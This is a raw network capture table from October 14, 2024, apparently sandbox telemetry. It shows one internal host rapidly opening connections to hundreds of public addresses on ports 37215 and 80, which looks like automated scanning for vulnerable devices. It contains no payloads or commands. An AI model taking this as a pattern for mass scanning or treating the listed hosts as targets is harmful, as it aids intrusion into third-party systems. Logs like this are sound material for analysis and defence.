Oct 14, 2024 17:34:15.344733000 CEST	53872	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:15.344733000 CEST	53872	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:15.345196009 CEST	54230	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:15.345740080 CEST	53196	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:15.345740080 CEST	53196	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:15.346400023 CEST	53512	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:15.349594116 CEST	37215	53872	41.201.37.141	192.168.2.14
Oct 14, 2024 17:34:15.350393057 CEST	80	38218	219.61.31.247	192.168.2.14
Oct 14, 2024 17:34:15.350490093 CEST	38218	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:15.350569010 CEST	37215	53196	156.28.130.182	192.168.2.14
Oct 14, 2024 17:34:15.359175920 CEST	37215	44206	156.251.156.83	192.168.2.14
Oct 14, 2024 17:34:15.359203100 CEST	80	59424	77.3.150.192	192.168.2.14
Oct 14, 2024 17:34:15.371618032 CEST	47860	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:15.371618032 CEST	52684	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:15.371618032 CEST	44922	37215	192.168.2.14	156.164.61.175
Oct 14, 2024 17:34:15.371620893 CEST	42398	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:15.371622086 CEST	48342	37215	192.168.2.14	197.114.127.201
Oct 14, 2024 17:34:15.371623039 CEST	43516	37215	192.168.2.14	41.26.170.58
Oct 14, 2024 17:34:15.371623039 CEST	45646	37215	192.168.2.14	41.61.38.75
Oct 14, 2024 17:34:15.371628046 CEST	56846	37215	192.168.2.14	41.85.69.100
Oct 14, 2024 17:34:15.371628046 CEST	60614	37215	192.168.2.14	197.99.180.20
Oct 14, 2024 17:34:15.371628046 CEST	33518	37215	192.168.2.14	197.71.242.130
Oct 14, 2024 17:34:15.371628046 CEST	39982	37215	192.168.2.14	156.106.215.170
Oct 14, 2024 17:34:15.371629000 CEST	38262	37215	192.168.2.14	156.94.137.150
Oct 14, 2024 17:34:15.371629000 CEST	51626	37215	192.168.2.14	156.7.254.242
Oct 14, 2024 17:34:15.371629000 CEST	40198	37215	192.168.2.14	197.87.211.94
Oct 14, 2024 17:34:15.371629000 CEST	32880	37215	192.168.2.14	41.231.48.184
Oct 14, 2024 17:34:15.371629953 CEST	40426	37215	192.168.2.14	156.18.72.214
Oct 14, 2024 17:34:15.371629953 CEST	38196	37215	192.168.2.14	156.49.31.235
Oct 14, 2024 17:34:15.371629953 CEST	56926	37215	192.168.2.14	156.176.230.100
Oct 14, 2024 17:34:15.371629953 CEST	45202	37215	192.168.2.14	41.111.5.5
Oct 14, 2024 17:34:15.371644020 CEST	36390	37215	192.168.2.14	41.250.134.251
Oct 14, 2024 17:34:15.371646881 CEST	55376	37215	192.168.2.14	197.218.210.222
Oct 14, 2024 17:34:15.371649981 CEST	35112	37215	192.168.2.14	41.247.111.17
Oct 14, 2024 17:34:15.371650934 CEST	35494	37215	192.168.2.14	156.188.108.14
Oct 14, 2024 17:34:15.371649981 CEST	35098	37215	192.168.2.14	41.237.153.176
Oct 14, 2024 17:34:15.371649981 CEST	39000	37215	192.168.2.14	197.53.246.173
Oct 14, 2024 17:34:15.371649981 CEST	52036	37215	192.168.2.14	41.85.220.38
Oct 14, 2024 17:34:15.371650934 CEST	53154	37215	192.168.2.14	41.64.133.49
Oct 14, 2024 17:34:15.371653080 CEST	35960	37215	192.168.2.14	156.245.159.2
Oct 14, 2024 17:34:15.371653080 CEST	39630	37215	192.168.2.14	41.195.60.90
Oct 14, 2024 17:34:15.371653080 CEST	40246	37215	192.168.2.14	197.227.216.128
Oct 14, 2024 17:34:15.371653080 CEST	59844	37215	192.168.2.14	197.65.63.237
Oct 14, 2024 17:34:15.376507044 CEST	37215	47860	197.141.68.212	192.168.2.14
Oct 14, 2024 17:34:15.376550913 CEST	47860	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:15.376558065 CEST	37215	52684	197.115.11.153	192.168.2.14
Oct 14, 2024 17:34:15.376588106 CEST	37215	42398	41.99.106.112	192.168.2.14
Oct 14, 2024 17:34:15.376591921 CEST	52684	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:15.376625061 CEST	42398	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:15.376648903 CEST	47860	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:15.376648903 CEST	47860	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:15.377082109 CEST	48170	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:15.378788948 CEST	52684	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:15.378788948 CEST	52684	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:15.379095078 CEST	52968	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:15.379560947 CEST	42398	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:15.379560947 CEST	42398	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:15.379874945 CEST	42706	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:15.381526947 CEST	37215	47860	197.141.68.212	192.168.2.14
Oct 14, 2024 17:34:15.383629084 CEST	37215	52684	197.115.11.153	192.168.2.14
Oct 14, 2024 17:34:15.384388924 CEST	37215	42398	41.99.106.112	192.168.2.14
Oct 14, 2024 17:34:15.384938002 CEST	37215	42706	41.99.106.112	192.168.2.14
Oct 14, 2024 17:34:15.384984016 CEST	42706	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:15.385036945 CEST	42706	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:15.390511990 CEST	37215	42706	41.99.106.112	192.168.2.14
Oct 14, 2024 17:34:15.390557051 CEST	42706	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:15.391134024 CEST	37215	53196	156.28.130.182	192.168.2.14
Oct 14, 2024 17:34:15.391160965 CEST	37215	53872	41.201.37.141	192.168.2.14
Oct 14, 2024 17:34:15.403614998 CEST	41588	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:15.403619051 CEST	54498	37215	192.168.2.14	156.40.168.169
Oct 14, 2024 17:34:15.403619051 CEST	41178	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:15.403619051 CEST	56048	37215	192.168.2.14	41.157.6.145
Oct 14, 2024 17:34:15.403623104 CEST	51934	37215	192.168.2.14	197.227.52.129
Oct 14, 2024 17:34:15.403633118 CEST	60436	37215	192.168.2.14	197.8.124.136
Oct 14, 2024 17:34:15.403635025 CEST	50674	37215	192.168.2.14	41.45.164.216
Oct 14, 2024 17:34:15.403640032 CEST	35952	37215	192.168.2.14	197.119.218.95
Oct 14, 2024 17:34:15.403640032 CEST	60688	37215	192.168.2.14	197.52.94.232
Oct 14, 2024 17:34:15.403641939 CEST	45084	37215	192.168.2.14	156.0.203.86
Oct 14, 2024 17:34:15.403641939 CEST	39046	37215	192.168.2.14	41.129.207.87
Oct 14, 2024 17:34:15.403641939 CEST	36038	37215	192.168.2.14	197.252.249.212
Oct 14, 2024 17:34:15.403641939 CEST	50962	37215	192.168.2.14	41.147.168.3
Oct 14, 2024 17:34:15.403644085 CEST	45682	37215	192.168.2.14	156.94.217.87
Oct 14, 2024 17:34:15.403650999 CEST	43600	37215	192.168.2.14	197.129.129.87
Oct 14, 2024 17:34:15.403650999 CEST	33764	37215	192.168.2.14	41.17.42.167
Oct 14, 2024 17:34:15.403650999 CEST	52544	37215	192.168.2.14	197.107.94.66
Oct 14, 2024 17:34:15.408385992 CEST	37215	41588	197.56.115.214	192.168.2.14
Oct 14, 2024 17:34:15.408432961 CEST	41588	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:15.408456087 CEST	37215	41178	41.75.110.142	192.168.2.14
Oct 14, 2024 17:34:15.408458948 CEST	41588	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:15.408493996 CEST	41178	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:15.408521891 CEST	41178	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:15.413573980 CEST	37215	41588	197.56.115.214	192.168.2.14
Oct 14, 2024 17:34:15.413619995 CEST	41588	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:15.413769007 CEST	37215	41178	41.75.110.142	192.168.2.14
Oct 14, 2024 17:34:15.413809061 CEST	41178	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:15.423151016 CEST	37215	47860	197.141.68.212	192.168.2.14
Oct 14, 2024 17:34:15.427130938 CEST	37215	42398	41.99.106.112	192.168.2.14
Oct 14, 2024 17:34:15.427158117 CEST	37215	52684	197.115.11.153	192.168.2.14
Oct 14, 2024 17:34:15.915527105 CEST	40150	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:15.915529966 CEST	44324	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:15.915534019 CEST	50736	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:15.920646906 CEST	80	50736	179.221.209.219	192.168.2.14
Oct 14, 2024 17:34:15.920658112 CEST	80	40150	76.232.178.92	192.168.2.14
Oct 14, 2024 17:34:15.920670033 CEST	80	44324	136.219.76.182	192.168.2.14
Oct 14, 2024 17:34:15.920705080 CEST	50736	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:15.920712948 CEST	44324	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:15.920728922 CEST	40150	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:15.920815945 CEST	40150	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:15.920830965 CEST	44324	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:15.920841932 CEST	50736	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:15.925844908 CEST	80	50736	179.221.209.219	192.168.2.14
Oct 14, 2024 17:34:15.925885916 CEST	50736	80	192.168.2.14	179.221.209.219
Oct 14, 2024 17:34:15.925901890 CEST	80	44324	136.219.76.182	192.168.2.14
Oct 14, 2024 17:34:15.925937891 CEST	44324	80	192.168.2.14	136.219.76.182
Oct 14, 2024 17:34:15.926026106 CEST	80	40150	76.232.178.92	192.168.2.14
Oct 14, 2024 17:34:15.926069975 CEST	40150	80	192.168.2.14	76.232.178.92
Oct 14, 2024 17:34:15.947482109 CEST	54688	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:15.947494984 CEST	33926	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:15.947495937 CEST	49134	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:15.947495937 CEST	35842	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:15.947500944 CEST	48566	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:15.947515965 CEST	56316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:15.952326059 CEST	37215	49134	156.239.18.206	192.168.2.14
Oct 14, 2024 17:34:15.952336073 CEST	37215	54688	197.153.240.99	192.168.2.14
Oct 14, 2024 17:34:15.952369928 CEST	49134	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:15.952425957 CEST	37215	35842	197.7.119.78	192.168.2.14
Oct 14, 2024 17:34:15.952449083 CEST	54688	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:15.952461004 CEST	35842	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:15.952472925 CEST	49134	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:15.952502966 CEST	54688	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:15.952605963 CEST	37215	33926	197.46.116.92	192.168.2.14
Oct 14, 2024 17:34:15.952620029 CEST	37215	56316	156.78.111.135	192.168.2.14
Oct 14, 2024 17:34:15.952629089 CEST	80	48566	12.12.20.232	192.168.2.14
Oct 14, 2024 17:34:15.952653885 CEST	33926	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:15.952667952 CEST	48566	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:15.952697992 CEST	48566	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:15.952790976 CEST	35842	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:15.952821970 CEST	33926	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:15.952822924 CEST	56316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:15.952822924 CEST	56316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:15.957958937 CEST	37215	49134	156.239.18.206	192.168.2.14
Oct 14, 2024 17:34:15.958033085 CEST	49134	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:15.958368063 CEST	37215	35842	197.7.119.78	192.168.2.14
Oct 14, 2024 17:34:15.958408117 CEST	35842	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:15.958692074 CEST	37215	54688	197.153.240.99	192.168.2.14
Oct 14, 2024 17:34:15.958928108 CEST	54688	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:15.959145069 CEST	37215	56316	156.78.111.135	192.168.2.14
Oct 14, 2024 17:34:15.959153891 CEST	37215	33926	197.46.116.92	192.168.2.14
Oct 14, 2024 17:34:15.959192991 CEST	80	48566	12.12.20.232	192.168.2.14
Oct 14, 2024 17:34:15.960092068 CEST	37215	33926	197.46.116.92	192.168.2.14
Oct 14, 2024 17:34:15.960144043 CEST	33926	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:15.960648060 CEST	80	48566	12.12.20.232	192.168.2.14
Oct 14, 2024 17:34:15.960686922 CEST	48566	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:15.961138010 CEST	37215	56316	156.78.111.135	192.168.2.14
Oct 14, 2024 17:34:15.961388111 CEST	56316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:15.979491949 CEST	55170	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:15.985631943 CEST	37215	55170	156.56.88.39	192.168.2.14
Oct 14, 2024 17:34:15.985675097 CEST	55170	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:15.985726118 CEST	55170	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:15.992523909 CEST	37215	55170	156.56.88.39	192.168.2.14
Oct 14, 2024 17:34:15.992568016 CEST	55170	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:16.011501074 CEST	53950	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:16.016400099 CEST	80	53950	134.118.16.121	192.168.2.14
Oct 14, 2024 17:34:16.016447067 CEST	53950	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:16.016484976 CEST	53950	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:16.021692038 CEST	80	53950	134.118.16.121	192.168.2.14
Oct 14, 2024 17:34:16.021733046 CEST	53950	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:16.043498039 CEST	48272	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:16.048332930 CEST	80	48272	181.149.65.97	192.168.2.14
Oct 14, 2024 17:34:16.048454046 CEST	48272	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:16.048454046 CEST	48272	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:16.053800106 CEST	80	48272	181.149.65.97	192.168.2.14
Oct 14, 2024 17:34:16.053863049 CEST	48272	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:16.075486898 CEST	38454	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:16.075490952 CEST	38676	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:16.075491905 CEST	38456	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:16.080312967 CEST	37215	38676	197.59.228.193	192.168.2.14
Oct 14, 2024 17:34:16.080353975 CEST	38676	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:16.080418110 CEST	38676	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:16.080668926 CEST	37215	38454	41.229.107.145	192.168.2.14
Oct 14, 2024 17:34:16.080724955 CEST	38454	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:16.080724955 CEST	38454	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:16.080873013 CEST	37215	38456	41.117.250.58	192.168.2.14
Oct 14, 2024 17:34:16.080910921 CEST	38456	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:16.080949068 CEST	38456	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:16.086265087 CEST	37215	38676	197.59.228.193	192.168.2.14
Oct 14, 2024 17:34:16.086306095 CEST	38676	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:16.086798906 CEST	37215	38454	41.229.107.145	192.168.2.14
Oct 14, 2024 17:34:16.086841106 CEST	38454	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:16.087019920 CEST	37215	38456	41.117.250.58	192.168.2.14
Oct 14, 2024 17:34:16.087060928 CEST	38456	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:16.107477903 CEST	53744	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:16.107481003 CEST	60934	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:16.107482910 CEST	58404	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:16.112349987 CEST	37215	53744	41.121.163.72	192.168.2.14
Oct 14, 2024 17:34:16.112360001 CEST	37215	60934	156.91.72.145	192.168.2.14
Oct 14, 2024 17:34:16.112397909 CEST	53744	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:16.112404108 CEST	60934	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:16.112432957 CEST	37215	58404	41.51.46.101	192.168.2.14
Oct 14, 2024 17:34:16.112452984 CEST	60934	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:16.112461090 CEST	53744	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:16.112468958 CEST	58404	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:16.112493992 CEST	29625	37215	192.168.2.14	156.79.224.50
Oct 14, 2024 17:34:16.112514019 CEST	29625	37215	192.168.2.14	197.10.164.146
Oct 14, 2024 17:34:16.112519026 CEST	29625	37215	192.168.2.14	197.129.241.38
Oct 14, 2024 17:34:16.112519026 CEST	29625	37215	192.168.2.14	156.22.246.197
Oct 14, 2024 17:34:16.112526894 CEST	29625	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:16.112530947 CEST	29625	37215	192.168.2.14	156.143.114.100
Oct 14, 2024 17:34:16.112534046 CEST	29625	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:16.112551928 CEST	29625	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.112551928 CEST	29625	37215	192.168.2.14	41.77.208.129
Oct 14, 2024 17:34:16.112552881 CEST	29625	37215	192.168.2.14	156.3.144.182
Oct 14, 2024 17:34:16.112560987 CEST	29625	37215	192.168.2.14	156.148.67.239
Oct 14, 2024 17:34:16.112561941 CEST	29625	37215	192.168.2.14	156.248.67.162
Oct 14, 2024 17:34:16.112577915 CEST	29625	37215	192.168.2.14	197.111.224.208
Oct 14, 2024 17:34:16.112580061 CEST	29625	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:16.112580061 CEST	29625	37215	192.168.2.14	156.153.120.33
Oct 14, 2024 17:34:16.112584114 CEST	29625	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.112587929 CEST	29625	37215	192.168.2.14	197.106.20.72
Oct 14, 2024 17:34:16.112603903 CEST	29625	37215	192.168.2.14	41.185.122.216
Oct 14, 2024 17:34:16.112607002 CEST	29625	37215	192.168.2.14	156.197.10.153
Oct 14, 2024 17:34:16.112608910 CEST	29625	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:16.112612963 CEST	29625	37215	192.168.2.14	156.131.207.90
Oct 14, 2024 17:34:16.112612963 CEST	29625	37215	192.168.2.14	156.214.51.232
Oct 14, 2024 17:34:16.112641096 CEST	29625	37215	192.168.2.14	156.82.53.197
Oct 14, 2024 17:34:16.112657070 CEST	29625	37215	192.168.2.14	197.183.177.121
Oct 14, 2024 17:34:16.112670898 CEST	29625	37215	192.168.2.14	156.75.142.201
Oct 14, 2024 17:34:16.112673998 CEST	29625	37215	192.168.2.14	197.174.35.118
Oct 14, 2024 17:34:16.112687111 CEST	29625	37215	192.168.2.14	156.88.61.100
Oct 14, 2024 17:34:16.112703085 CEST	29625	37215	192.168.2.14	156.96.124.186
Oct 14, 2024 17:34:16.112705946 CEST	29625	37215	192.168.2.14	156.56.138.28
Oct 14, 2024 17:34:16.112709045 CEST	29625	37215	192.168.2.14	41.251.207.106
Oct 14, 2024 17:34:16.112709045 CEST	29625	37215	192.168.2.14	41.97.48.137
Oct 14, 2024 17:34:16.112709045 CEST	29625	37215	192.168.2.14	197.88.68.6
Oct 14, 2024 17:34:16.112718105 CEST	29625	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:16.112721920 CEST	29625	37215	192.168.2.14	197.120.157.102
Oct 14, 2024 17:34:16.112732887 CEST	29625	37215	192.168.2.14	156.201.207.50
Oct 14, 2024 17:34:16.112735987 CEST	29625	37215	192.168.2.14	156.230.123.62
Oct 14, 2024 17:34:16.112741947 CEST	29625	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:16.112752914 CEST	29625	37215	192.168.2.14	41.151.2.41
Oct 14, 2024 17:34:16.112756968 CEST	29625	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.112756968 CEST	29625	37215	192.168.2.14	197.7.68.0
Oct 14, 2024 17:34:16.112785101 CEST	29625	37215	192.168.2.14	197.215.97.80
Oct 14, 2024 17:34:16.112802029 CEST	29625	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:16.112814903 CEST	29625	37215	192.168.2.14	41.34.237.65
Oct 14, 2024 17:34:16.112814903 CEST	29625	37215	192.168.2.14	41.71.82.244
Oct 14, 2024 17:34:16.112818956 CEST	29625	37215	192.168.2.14	197.14.250.68
Oct 14, 2024 17:34:16.112818956 CEST	29625	37215	192.168.2.14	156.35.115.66
Oct 14, 2024 17:34:16.112834930 CEST	29625	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:16.112838984 CEST	29625	37215	192.168.2.14	156.34.154.136
Oct 14, 2024 17:34:16.112838984 CEST	29625	37215	192.168.2.14	41.75.216.122
Oct 14, 2024 17:34:16.112838984 CEST	29625	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.112850904 CEST	29625	37215	192.168.2.14	156.45.137.16
Oct 14, 2024 17:34:16.112870932 CEST	29625	37215	192.168.2.14	197.180.247.201
Oct 14, 2024 17:34:16.112870932 CEST	29625	37215	192.168.2.14	41.97.33.14
Oct 14, 2024 17:34:16.112874031 CEST	29625	37215	192.168.2.14	197.233.216.28
Oct 14, 2024 17:34:16.112874985 CEST	29625	37215	192.168.2.14	197.118.210.63
Oct 14, 2024 17:34:16.112890005 CEST	29625	37215	192.168.2.14	197.41.175.152
Oct 14, 2024 17:34:16.112890005 CEST	29625	37215	192.168.2.14	156.242.254.246
Oct 14, 2024 17:34:16.112910986 CEST	29625	37215	192.168.2.14	156.211.199.169
Oct 14, 2024 17:34:16.112926006 CEST	29625	37215	192.168.2.14	156.251.46.60
Oct 14, 2024 17:34:16.112931013 CEST	29625	37215	192.168.2.14	156.123.206.150
Oct 14, 2024 17:34:16.112931013 CEST	29625	37215	192.168.2.14	156.169.70.193
Oct 14, 2024 17:34:16.112946033 CEST	29625	37215	192.168.2.14	197.7.165.83
Oct 14, 2024 17:34:16.112950087 CEST	29625	37215	192.168.2.14	197.143.239.191
Oct 14, 2024 17:34:16.112952948 CEST	29625	37215	192.168.2.14	41.4.64.30
Oct 14, 2024 17:34:16.112970114 CEST	29625	37215	192.168.2.14	156.173.224.111
Oct 14, 2024 17:34:16.112971067 CEST	29625	37215	192.168.2.14	41.51.8.246
Oct 14, 2024 17:34:16.112971067 CEST	29625	37215	192.168.2.14	156.205.87.147
Oct 14, 2024 17:34:16.112993956 CEST	29625	37215	192.168.2.14	156.126.76.89
Oct 14, 2024 17:34:16.113007069 CEST	29625	37215	192.168.2.14	41.39.219.167
Oct 14, 2024 17:34:16.113007069 CEST	29625	37215	192.168.2.14	197.177.193.51
Oct 14, 2024 17:34:16.113015890 CEST	29625	37215	192.168.2.14	197.198.123.63
Oct 14, 2024 17:34:16.113024950 CEST	29625	37215	192.168.2.14	197.182.191.60
Oct 14, 2024 17:34:16.113035917 CEST	29625	37215	192.168.2.14	197.115.141.191
Oct 14, 2024 17:34:16.113035917 CEST	29625	37215	192.168.2.14	197.129.136.120
Oct 14, 2024 17:34:16.113035917 CEST	29625	37215	192.168.2.14	197.208.173.26
Oct 14, 2024 17:34:16.113069057 CEST	29625	37215	192.168.2.14	197.33.158.116
Oct 14, 2024 17:34:16.113075972 CEST	29625	37215	192.168.2.14	41.127.22.1
Oct 14, 2024 17:34:16.113087893 CEST	29625	37215	192.168.2.14	197.221.104.115
Oct 14, 2024 17:34:16.113091946 CEST	29625	37215	192.168.2.14	41.111.222.77
Oct 14, 2024 17:34:16.113094091 CEST	29625	37215	192.168.2.14	41.95.170.23
Oct 14, 2024 17:34:16.113106966 CEST	29625	37215	192.168.2.14	197.22.155.85
Oct 14, 2024 17:34:16.113106966 CEST	29625	37215	192.168.2.14	41.58.170.138
Oct 14, 2024 17:34:16.113107920 CEST	29625	37215	192.168.2.14	41.16.250.143
Oct 14, 2024 17:34:16.113115072 CEST	29625	37215	192.168.2.14	41.27.80.130
Oct 14, 2024 17:34:16.113120079 CEST	29625	37215	192.168.2.14	197.8.64.112
Oct 14, 2024 17:34:16.113135099 CEST	29625	37215	192.168.2.14	41.134.168.167
Oct 14, 2024 17:34:16.113135099 CEST	29625	37215	192.168.2.14	41.71.49.190
Oct 14, 2024 17:34:16.113138914 CEST	29625	37215	192.168.2.14	197.75.39.14
Oct 14, 2024 17:34:16.113152981 CEST	29625	37215	192.168.2.14	156.27.17.133
Oct 14, 2024 17:34:16.113173008 CEST	29625	37215	192.168.2.14	41.23.171.252
Oct 14, 2024 17:34:16.113197088 CEST	29625	37215	192.168.2.14	197.155.108.68
Oct 14, 2024 17:34:16.113212109 CEST	29625	37215	192.168.2.14	41.25.112.139
Oct 14, 2024 17:34:16.113212109 CEST	29625	37215	192.168.2.14	156.3.55.208
Oct 14, 2024 17:34:16.113213062 CEST	29625	37215	192.168.2.14	156.19.223.7
Oct 14, 2024 17:34:16.113214016 CEST	29625	37215	192.168.2.14	156.171.157.175
Oct 14, 2024 17:34:16.113214016 CEST	29625	37215	192.168.2.14	156.51.187.178
Oct 14, 2024 17:34:16.113218069 CEST	29625	37215	192.168.2.14	197.110.22.129
Oct 14, 2024 17:34:16.113254070 CEST	29625	37215	192.168.2.14	41.94.255.20
Oct 14, 2024 17:34:16.113254070 CEST	29625	37215	192.168.2.14	156.56.15.231
Oct 14, 2024 17:34:16.113260031 CEST	29625	37215	192.168.2.14	197.6.119.67
Oct 14, 2024 17:34:16.113260984 CEST	29625	37215	192.168.2.14	197.138.240.172
Oct 14, 2024 17:34:16.113260984 CEST	29625	37215	192.168.2.14	197.135.23.108
Oct 14, 2024 17:34:16.113264084 CEST	29625	37215	192.168.2.14	156.62.176.119
Oct 14, 2024 17:34:16.113264084 CEST	29625	37215	192.168.2.14	41.68.102.196
Oct 14, 2024 17:34:16.113266945 CEST	29625	37215	192.168.2.14	41.152.182.222
Oct 14, 2024 17:34:16.113286018 CEST	29625	37215	192.168.2.14	41.19.239.144
Oct 14, 2024 17:34:16.113286972 CEST	29625	37215	192.168.2.14	197.191.251.26
Oct 14, 2024 17:34:16.113287926 CEST	29625	37215	192.168.2.14	41.95.109.121
Oct 14, 2024 17:34:16.113287926 CEST	29625	37215	192.168.2.14	156.51.28.249
Oct 14, 2024 17:34:16.113306046 CEST	29625	37215	192.168.2.14	156.16.77.72
Oct 14, 2024 17:34:16.113306046 CEST	29625	37215	192.168.2.14	156.65.16.2
Oct 14, 2024 17:34:16.113306999 CEST	29625	37215	192.168.2.14	197.240.21.225
Oct 14, 2024 17:34:16.113327026 CEST	29625	37215	192.168.2.14	156.161.155.182
Oct 14, 2024 17:34:16.113327026 CEST	29625	37215	192.168.2.14	41.61.242.251
Oct 14, 2024 17:34:16.113328934 CEST	29625	37215	192.168.2.14	41.142.196.22
Oct 14, 2024 17:34:16.113342047 CEST	29625	37215	192.168.2.14	41.188.175.124
Oct 14, 2024 17:34:16.113343000 CEST	29625	37215	192.168.2.14	41.144.21.244
Oct 14, 2024 17:34:16.113352060 CEST	29625	37215	192.168.2.14	197.234.161.50
Oct 14, 2024 17:34:16.113368988 CEST	29625	37215	192.168.2.14	156.140.160.104
Oct 14, 2024 17:34:16.113370895 CEST	29625	37215	192.168.2.14	197.156.246.26
Oct 14, 2024 17:34:16.113370895 CEST	29625	37215	192.168.2.14	197.173.243.124
Oct 14, 2024 17:34:16.113388062 CEST	29625	37215	192.168.2.14	156.248.5.141
Oct 14, 2024 17:34:16.113394022 CEST	29625	37215	192.168.2.14	197.145.128.2
Oct 14, 2024 17:34:16.113404036 CEST	29625	37215	192.168.2.14	41.223.246.229
